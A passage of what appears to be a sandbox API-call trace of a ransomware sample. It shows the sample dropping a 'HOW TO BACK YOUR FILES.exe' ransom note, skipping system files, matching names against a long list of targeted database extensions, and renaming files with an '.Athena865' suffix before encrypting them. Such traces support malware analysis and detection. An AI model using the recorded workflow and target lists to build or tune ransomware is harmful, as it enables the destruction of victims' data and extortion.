lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0042.169] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1 [0042.170] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1 [0042.171] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1 [0042.175] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1 [0042.175] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0042.175] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1 [0042.175] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1 [0042.175] lstrlenW (lpString="en-US") returned 5 [0042.175] lstrcpyW (in: lpString1=0x241e89a, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0042.175] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c560 [0042.175] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5e) returned 0x51bc20 [0042.175] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0042.175] lstrcatW (in: lpString1="en-US\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="en-US\\HOW TO BACK YOUR FILES.exe") returned="en-US\\HOW TO BACK YOUR FILES.exe" [0042.175] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\internet explorer\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1 [0042.177] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a37297, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb2a37297, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb2a5d3f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1 [0042.177] lstrcmpiW (lpString1="ExtExport.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.177] lstrcmpiW (lpString1="ExtExport.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.177] lstrcmpiW (lpString1="ExtExport.exe", lpString2=".") returned 1 [0042.177] lstrcmpiW (lpString1="ExtExport.exe", lpString2="..") returned 1 [0042.177] lstrcmpiW (lpString1="ExtExport.exe", lpString2="windows") returned -1 [0042.177] lstrcmpiW (lpString1="ExtExport.exe", lpString2="bootmgr") returned 1 [0042.177] lstrcmpiW (lpString1="ExtExport.exe", lpString2="temp") returned -1 [0042.177] lstrcmpiW (lpString1="ExtExport.exe", lpString2="pagefile.sys") returned -1 [0042.177] lstrcmpiW (lpString1="ExtExport.exe", lpString2="boot") returned 1 [0042.177] lstrcmpiW (lpString1="ExtExport.exe", lpString2="ids.txt") returned -1 [0042.178] lstrcmpiW (lpString1="ExtExport.exe", lpString2="ntuser.dat") returned -1 [0042.178] lstrcmpiW (lpString1="ExtExport.exe", lpString2="perflogs") returned -1 [0042.178] lstrcmpiW (lpString1="ExtExport.exe", lpString2="MSBuild") returned -1 [0042.178] lstrlenW (lpString="ExtExport.exe") returned 13 [0042.178] lstrcpyW (in: lpString1=0x241e89a, lpString2="ExtExport.exe" | out: lpString1="ExtExport.exe") returned="ExtExport.exe" [0042.178] lstrlenW (lpString="ExtExport.exe") returned 13 [0042.178] lstrlenW (lpString="Athena865") returned 9 [0042.178] lstrcmpiW (lpString1="xport.exe", lpString2="Athena865") returned 1 [0042.178] lstrlenW (lpString=".dll") returned 4 [0042.178] lstrcmpiW (lpString1="ExtExport.exe", lpString2=".dll") returned 1 [0042.178] lstrlenW (lpString=".lnk") returned 4 [0042.178] lstrcmpiW (lpString1="ExtExport.exe", lpString2=".lnk") returned 1 [0042.178] lstrlenW (lpString=".ini") returned 4 [0042.178] lstrcmpiW (lpString1="ExtExport.exe", lpString2=".ini") returned 1 [0042.178] lstrlenW (lpString=".sys") returned 4 [0042.178] lstrcmpiW (lpString1="ExtExport.exe", lpString2=".sys") returned 1 [0042.178] lstrlenW (lpString="ExtExport.exe") returned 13 [0042.178] lstrlenW (lpString="bak") returned 3 [0042.178] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0042.178] lstrlenW (lpString="ba_") returned 3 [0042.178] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0042.178] lstrlenW (lpString="dbb") returned 3 [0042.178] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0042.178] lstrlenW (lpString="vmdk") returned 4 [0042.178] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0042.178] lstrlenW (lpString="rar") returned 3 [0042.178] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0042.178] lstrlenW (lpString="zip") returned 3 [0042.178] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0042.178] lstrlenW (lpString="tgz") returned 3 [0042.178] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0042.178] lstrlenW (lpString="vbox") returned 4 [0042.178] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0042.178] lstrlenW (lpString="vdi") returned 3 [0042.178] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0042.178] lstrlenW (lpString="vhd") returned 3 [0042.179] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0042.179] lstrlenW (lpString="vhdx") returned 4 [0042.179] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0042.179] lstrlenW (lpString="avhd") returned 4 [0042.179] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0042.179] lstrlenW (lpString="db") returned 2 [0042.179] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0042.179] lstrlenW (lpString="db2") returned 3 [0042.179] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0042.179] lstrlenW (lpString="db3") returned 3 [0042.179] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0042.179] lstrlenW (lpString="dbf") returned 3 [0042.179] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0042.179] lstrlenW (lpString="mdf") returned 3 [0042.179] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0042.179] lstrlenW (lpString="mdb") returned 3 [0042.179] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0042.179] lstrlenW (lpString="sql") returned 3 [0042.179] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0042.179] lstrlenW (lpString="sqlite") returned 6 [0042.179] lstrcmpiW (lpString1="rt.exe", lpString2="sqlite") returned -1 [0042.179] lstrlenW (lpString="sqlite3") returned 7 [0042.179] lstrcmpiW (lpString1="ort.exe", lpString2="sqlite3") returned -1 [0042.179] lstrlenW (lpString="sqlitedb") returned 8 [0042.179] lstrcmpiW (lpString1="port.exe", lpString2="sqlitedb") returned -1 [0042.179] lstrlenW (lpString="xml") returned 3 [0042.179] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0042.179] lstrlenW (lpString="$er") returned 3 [0042.179] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0042.179] lstrlenW (lpString="4dd") returned 3 [0042.179] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0042.179] lstrlenW (lpString="4dl") returned 3 [0042.179] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0042.179] lstrlenW (lpString="^^^") returned 3 [0042.179] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0042.179] lstrlenW (lpString="abs") returned 3 [0042.179] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0042.180] lstrlenW (lpString="abx") returned 3 [0042.180] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0042.180] lstrlenW (lpString="accdb") returned 5 [0042.180] lstrcmpiW (lpString1="t.exe", lpString2="accdb") returned 1 [0042.180] lstrlenW (lpString="accdc") returned 5 [0042.180] lstrcmpiW (lpString1="t.exe", lpString2="accdc") returned 1 [0042.180] lstrlenW (lpString="accde") returned 5 [0042.180] lstrcmpiW (lpString1="t.exe", lpString2="accde") returned 1 [0042.180] lstrlenW (lpString="accdr") returned 5 [0042.180] lstrcmpiW (lpString1="t.exe", lpString2="accdr") returned 1 [0042.180] lstrlenW (lpString="accdt") returned 5 [0042.180] lstrcmpiW (lpString1="t.exe", lpString2="accdt") returned 1 [0042.180] lstrlenW (lpString="accdw") returned 5 [0042.180] lstrcmpiW (lpString1="t.exe", lpString2="accdw") returned 1 [0042.180] lstrlenW (lpString="accft") returned 5 [0042.180] lstrcmpiW (lpString1="t.exe", lpString2="accft") returned 1 [0042.180] lstrlenW (lpString="adb") returned 3 [0042.180] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0042.180] lstrlenW (lpString="adb") returned 3 [0042.180] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0042.180] lstrlenW (lpString="ade") returned 3 [0042.180] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0042.180] lstrlenW (lpString="adf") returned 3 [0042.180] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0042.180] lstrlenW (lpString="adn") returned 3 [0042.180] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0042.180] lstrlenW (lpString="adp") returned 3 [0042.180] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0042.180] lstrlenW (lpString="alf") returned 3 [0042.180] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0042.180] lstrlenW (lpString="ask") returned 3 [0042.180] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0042.180] lstrlenW (lpString="btr") returned 3 [0042.180] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0042.180] lstrlenW (lpString="cat") returned 3 [0042.180] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0042.180] lstrlenW (lpString="cdb") returned 3 [0042.181] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0042.181] lstrlenW (lpString="ckp") returned 3 [0042.181] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0042.181] lstrlenW (lpString="cma") returned 3 [0042.181] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0042.181] lstrlenW (lpString="cpd") returned 3 [0042.181] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0042.181] lstrlenW (lpString="dacpac") returned 6 [0042.181] lstrcmpiW (lpString1="rt.exe", lpString2="dacpac") returned 1 [0042.181] lstrlenW (lpString="dad") returned 3 [0042.181] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0042.181] lstrlenW (lpString="dadiagrams") returned 10 [0042.181] lstrcmpiW (lpString1="Export.exe", lpString2="dadiagrams") returned 1 [0042.181] lstrlenW (lpString="daschema") returned 8 [0042.181] lstrcmpiW (lpString1="port.exe", lpString2="daschema") returned 1 [0042.181] lstrlenW (lpString="db-journal") returned 10 [0042.181] lstrcmpiW (lpString1="Export.exe", lpString2="db-journal") returned 1 [0042.181] lstrlenW (lpString="db-shm") returned 6 [0042.181] lstrcmpiW (lpString1="rt.exe", lpString2="db-shm") returned 1 [0042.181] lstrlenW (lpString="db-wal") returned 6 [0042.181] lstrcmpiW (lpString1="rt.exe", lpString2="db-wal") returned 1 [0042.181] lstrlenW (lpString="dbc") returned 3 [0042.181] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0042.181] lstrlenW (lpString="dbs") returned 3 [0042.181] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0042.181] lstrlenW (lpString="dbt") returned 3 [0042.181] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0042.181] lstrlenW (lpString="dbv") returned 3 [0042.181] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0042.181] lstrlenW (lpString="dbx") returned 3 [0042.181] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0042.181] lstrlenW (lpString="dcb") returned 3 [0042.181] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0042.181] lstrlenW (lpString="dct") returned 3 [0042.181] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0042.181] lstrlenW (lpString="dcx") returned 3 [0042.181] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0042.182] lstrlenW (lpString="ddl") returned 3 [0042.182] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0042.182] lstrlenW (lpString="dlis") returned 4 [0042.182] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0042.182] lstrlenW (lpString="dp1") returned 3 [0042.182] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0042.182] lstrlenW (lpString="dqy") returned 3 [0042.182] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0042.182] lstrlenW (lpString="dsk") returned 3 [0042.182] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0042.182] lstrlenW (lpString="dsn") returned 3 [0042.182] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0042.182] lstrlenW (lpString="dtsx") returned 4 [0042.182] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0042.182] lstrlenW (lpString="dxl") returned 3 [0042.182] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0042.182] lstrlenW (lpString="eco") returned 3 [0042.182] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0042.182] lstrlenW (lpString="ecx") returned 3 [0042.182] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0042.182] lstrlenW (lpString="edb") returned 3 [0042.182] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0042.182] lstrlenW (lpString="epim") returned 4 [0042.182] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0042.182] lstrlenW (lpString="fcd") returned 3 [0042.182] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0042.182] lstrlenW (lpString="fdb") returned 3 [0042.182] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0042.182] lstrlenW (lpString="fic") returned 3 [0042.182] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0042.182] lstrlenW (lpString="flexolibrary") returned 12 [0042.182] lstrcmpiW (lpString1="xtExport.exe", lpString2="flexolibrary") returned 1 [0042.182] lstrlenW (lpString="fm5") returned 3 [0042.182] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0042.182] lstrlenW (lpString="fmp") returned 3 [0042.182] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0042.182] lstrlenW (lpString="fmp12") returned 5 [0042.183] lstrcmpiW (lpString1="t.exe", lpString2="fmp12") returned 1 [0042.183] lstrlenW (lpString="fmpsl") returned 5 [0042.183] lstrcmpiW (lpString1="t.exe", lpString2="fmpsl") returned 1 [0042.183] lstrlenW (lpString="fol") returned 3 [0042.183] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0042.183] lstrlenW (lpString="fp3") returned 3 [0042.183] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0042.183] lstrlenW (lpString="fp4") returned 3 [0042.183] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0042.183] lstrlenW (lpString="fp5") returned 3 [0042.183] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0042.183] lstrlenW (lpString="fp7") returned 3 [0042.183] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0042.183] lstrlenW (lpString="fpt") returned 3 [0042.183] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0042.183] lstrlenW (lpString="frm") returned 3 [0042.183] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0042.183] lstrlenW (lpString="gdb") returned 3 [0042.183] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0042.183] lstrlenW (lpString="gdb") returned 3 [0042.183] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0042.183] lstrlenW (lpString="grdb") returned 4 [0042.183] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0042.183] lstrlenW (lpString="gwi") returned 3 [0042.183] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0042.183] lstrlenW (lpString="hdb") returned 3 [0042.183] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0042.183] lstrlenW (lpString="his") returned 3 [0042.183] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0042.183] lstrlenW (lpString="ib") returned 2 [0042.183] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0042.183] lstrlenW (lpString="idb") returned 3 [0042.183] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0042.183] lstrlenW (lpString="ihx") returned 3 [0042.183] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0042.183] lstrlenW (lpString="itdb") returned 4 [0042.184] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0042.184] lstrlenW (lpString="itw") returned 3 [0042.184] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0042.184] lstrlenW (lpString="jet") returned 3 [0042.184] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0042.184] lstrlenW (lpString="jtx") returned 3 [0042.184] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0042.184] lstrlenW (lpString="kdb") returned 3 [0042.184] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0042.184] lstrlenW (lpString="kexi") returned 4 [0042.184] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0042.184] lstrlenW (lpString="kexic") returned 5 [0042.184] lstrcmpiW (lpString1="t.exe", lpString2="kexic") returned 1 [0042.184] lstrlenW (lpString="kexis") returned 5 [0042.184] lstrcmpiW (lpString1="t.exe", lpString2="kexis") returned 1 [0042.184] lstrlenW (lpString="lgc") returned 3 [0042.184] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0042.184] lstrlenW (lpString="lwx") returned 3 [0042.184] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0042.184] lstrlenW (lpString="maf") returned 3 [0042.184] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0042.184] lstrlenW (lpString="maq") returned 3 [0042.184] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0042.184] lstrlenW (lpString="mar") returned 3 [0042.184] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0042.184] lstrlenW (lpString="marshal") returned 7 [0042.184] lstrcmpiW (lpString1="ort.exe", lpString2="marshal") returned 1 [0042.184] lstrlenW (lpString="mas") returned 3 [0042.184] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0042.184] lstrlenW (lpString="mav") returned 3 [0042.184] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0042.184] lstrlenW (lpString="maw") returned 3 [0042.184] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0042.184] lstrlenW (lpString="mdbhtml") returned 7 [0042.184] lstrcmpiW (lpString1="ort.exe", lpString2="mdbhtml") returned 1 [0042.184] lstrlenW (lpString="mdn") returned 3 [0042.185] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0042.185] lstrlenW (lpString="mdt") returned 3 [0042.185] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0042.185] lstrlenW (lpString="mfd") returned 3 [0042.185] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0042.185] lstrlenW (lpString="mpd") returned 3 [0042.185] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0042.185] lstrlenW (lpString="mrg") returned 3 [0042.185] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0042.185] lstrlenW (lpString="mud") returned 3 [0042.185] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0042.185] lstrlenW (lpString="mwb") returned 3 [0042.185] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0042.185] lstrlenW (lpString="myd") returned 3 [0042.185] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0042.185] lstrlenW (lpString="ndf") returned 3 [0042.185] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0042.185] lstrlenW (lpString="nnt") returned 3 [0042.185] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0042.185] lstrlenW (lpString="nrmlib") returned 6 [0042.185] lstrcmpiW (lpString1="rt.exe", lpString2="nrmlib") returned 1 [0042.185] lstrlenW (lpString="ns2") returned 3 [0042.185] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0042.185] lstrlenW (lpString="ns3") returned 3 [0042.185] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0042.185] lstrlenW (lpString="ns4") returned 3 [0042.185] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0042.185] lstrlenW (lpString="nsf") returned 3 [0042.185] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0042.185] lstrlenW (lpString="nv") returned 2 [0042.185] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0042.185] lstrlenW (lpString="nv2") returned 3 [0042.185] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0042.185] lstrlenW (lpString="nwdb") returned 4 [0042.185] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0042.185] lstrlenW (lpString="nyf") returned 3 [0042.185] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0042.186] lstrlenW (lpString="odb") returned 3 [0042.186] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0042.186] lstrlenW (lpString="odb") returned 3 [0042.186] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0042.186] lstrlenW (lpString="oqy") returned 3 [0042.186] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0042.186] lstrlenW (lpString="ora") returned 3 [0042.186] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0042.186] lstrlenW (lpString="orx") returned 3 [0042.186] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0042.186] lstrlenW (lpString="owc") returned 3 [0042.186] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0042.186] lstrlenW (lpString="p96") returned 3 [0042.186] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0042.186] lstrlenW (lpString="p97") returned 3 [0042.186] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0042.186] lstrlenW (lpString="pan") returned 3 [0042.186] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0042.186] lstrlenW (lpString="pdb") returned 3 [0042.186] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0042.186] lstrlenW (lpString="pdm") returned 3 [0042.186] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0042.186] lstrlenW (lpString="pnz") returned 3 [0042.186] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0042.186] lstrlenW (lpString="qry") returned 3 [0042.186] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0042.186] lstrlenW (lpString="qvd") returned 3 [0042.186] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0042.186] lstrlenW (lpString="rbf") returned 3 [0042.186] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0042.186] lstrlenW (lpString="rctd") returned 4 [0042.186] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0042.186] lstrlenW (lpString="rod") returned 3 [0042.186] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0042.186] lstrlenW (lpString="rodx") returned 4 [0042.186] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0042.187] lstrlenW (lpString="rpd") returned 3 [0042.187] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0042.187] lstrlenW (lpString="rsd") returned 3 [0042.187] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0042.187] lstrlenW (lpString="sas7bdat") returned 8 [0042.187] lstrcmpiW (lpString1="port.exe", lpString2="sas7bdat") returned -1 [0042.187] lstrlenW (lpString="sbf") returned 3 [0042.187] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0042.187] lstrlenW (lpString="scx") returned 3 [0042.187] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0042.187] lstrlenW (lpString="sdb") returned 3 [0042.187] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0042.187] lstrlenW (lpString="sdc") returned 3 [0042.187] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0042.187] lstrlenW (lpString="sdf") returned 3 [0042.187] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0042.187] lstrlenW (lpString="sis") returned 3 [0042.187] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0042.187] lstrlenW (lpString="spq") returned 3 [0042.187] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0042.187] lstrlenW (lpString="te") returned 2 [0042.187] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0042.187] lstrlenW (lpString="teacher") returned 7 [0042.187] lstrcmpiW (lpString1="ort.exe", lpString2="teacher") returned -1 [0042.187] lstrlenW (lpString="tmd") returned 3 [0042.187] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0042.187] lstrlenW (lpString="tps") returned 3 [0042.187] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0042.187] lstrlenW (lpString="trc") returned 3 [0042.187] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0042.187] lstrlenW (lpString="trc") returned 3 [0042.187] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0042.187] lstrlenW (lpString="trm") returned 3 [0042.187] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0042.187] lstrlenW (lpString="udb") returned 3 [0042.187] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0042.187] lstrlenW (lpString="udl") returned 3 [0042.188] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0042.188] lstrlenW (lpString="usr") returned 3 [0042.188] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0042.188] lstrlenW (lpString="v12") returned 3 [0042.188] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0042.188] lstrlenW (lpString="vis") returned 3 [0042.188] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0042.188] lstrlenW (lpString="vpd") returned 3 [0042.188] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0042.188] lstrlenW (lpString="vvv") returned 3 [0042.188] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0042.188] lstrlenW (lpString="wdb") returned 3 [0042.188] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0042.188] lstrlenW (lpString="wmdb") returned 4 [0042.188] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0042.188] lstrlenW (lpString="wrk") returned 3 [0042.188] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0042.188] lstrlenW (lpString="xdb") returned 3 [0042.188] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0042.188] lstrlenW (lpString="xld") returned 3 [0042.188] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0042.188] lstrlenW (lpString="xmlff") returned 5 [0042.188] lstrcmpiW (lpString1="t.exe", lpString2="xmlff") returned -1 [0042.188] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe.Athena865") returned 64 [0042.188] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files (x86)\\internet explorer\\extexport.exe"), lpNewFileName="C:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\extexport.exe.athena865"), dwFlags=0x1) returned 1 [0042.201] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe.Athena865" (normalized: "c:\\program files (x86)\\internet explorer\\extexport.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0042.201] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=145408) returned 1 [0042.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0042.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0042.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0042.201] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0042.202] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0042.202] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0042.202] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x23b00, 